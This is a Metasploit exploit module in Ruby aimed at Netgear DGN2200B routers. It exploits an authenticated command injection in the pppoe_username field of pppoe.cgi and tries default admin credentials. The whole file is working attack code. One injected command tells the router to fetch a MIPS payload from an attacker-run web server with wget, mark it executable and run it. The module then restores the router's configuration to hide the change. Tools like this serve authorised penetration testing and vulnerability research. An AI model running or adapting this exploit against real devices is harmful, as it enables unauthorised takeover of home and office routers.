##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
'Description' => %q{
Some Netgear Routers are vulnerable to an authenticated OS command injection
on their web interface. Default credentials for the web interface are admin/admin
or admin/password. Since it is a blind os command injection vulnerability, there
is no output for the executed command when using the cmd generic payload. A ping
command against a controlled system could be used for testing purposes. This module
overwrites parts of the PPOE configuration, while the module tries to restore it
after exploitation configuration backup is recommended.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '57998' ],
[ 'EDB', '24513' ],
[ 'OSVDB', '90320' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
],
'DisclosureDate' => 'Feb 15 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1,
))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
], self.class)
end
def get_config(config, pattern)
if config =~ /#{pattern}/
#puts "[*] #{$1}" #debugging
return $1
end
return ""
end
def grab_config(user,pass)
print_status("#{rhost}:#{rport} - Trying to download the original configuration")
begin
res = send_request_cgi({
'uri' => '/BAS_pppoe.htm',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
if res.body =~ /pppoe_username/
print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
end
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end
@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
@pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
@pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")
@runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
@wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
@pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
@wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
@wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
@wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
@wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
@wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
@wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
@wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
@wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
@opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
@pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
@pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
@pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
@apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
end
def restore_conf(user,pass,uri)
# we have used most parts of the original configuration
# just need to restore pppoe_username
cmd = @pppoe_username_orig
print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
end
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout)
end
def request(cmd,user,pass,uri)
begin
#original post request
#login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
#&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
#&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
#&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
#&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'encode_params' => false,
'vars_post' => {
"login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok
"pppoe_username" => cmd,
"pppoe_passwd" => @pppoe_passwd_orig,
"pppoe_servicename" => @pppoe_servicename_orig,
"pppoe_dod" => "1", #default must be ok
"pppoe_idletime" => "5", #default must be ok
"WANAssign" => "Dynamic", #default must be ok
"DNSAssign" => "0", #default must be ok
"en_nat" => "1", #default must be ok
"MACAssign" => "0", #default must be ok
"apply" => @apply_orig,
"runtest" => @runtest_orig,
"wan_ipaddr" => @wan_ipaddr_orig,
"pppoe_localip" => @pppoe_localip_orig,
"wan_dns_sel" => @wan_dns_sel_orig,
"wan_dns1_pri" => @wan_dns1_pri_orig,
"wan_dns1_sec" => @wan_dns1_sec_orig,
"wan_hwaddr_sel" => @wan_hwaddr_sel_orig,
"wan_hwaddr_def" => @wan_hwaddr_def_orig,
"wan_hwaddr2" => @wan_hwaddr2_orig,
"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
"wan_nat" => @wan_nat_orig,
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
"pppoe_flet_sel" => @pppoe_flet_sel_orig,
"pppoe_flet_type" => @pppoe_flet_type_orig,
"pppoe_temp" => @pppoe_temp_orig,
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
def logout(user,pass)
begin
res = send_request_cgi({
'uri' => '/LGO_logout.htm',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end
end
def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
uri = '/pppoe.cgi'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
@timeout = datastore['RELOAD_CONF_DELAY']
#
# testing Login
#
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end
grab_config(user,pass)
if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
cmd = "%26%20#{cmd}%20%26"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
end
return
end
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
cmd = Rex::Text.uri_encode(cmd)
cmd = "%26%20#{cmd}%20%26"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
#
#reload original configuration
#
restore_conf(user,pass,uri)
#
#lockout of the device and free the management sessions
#
logout(user,pass)
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
end
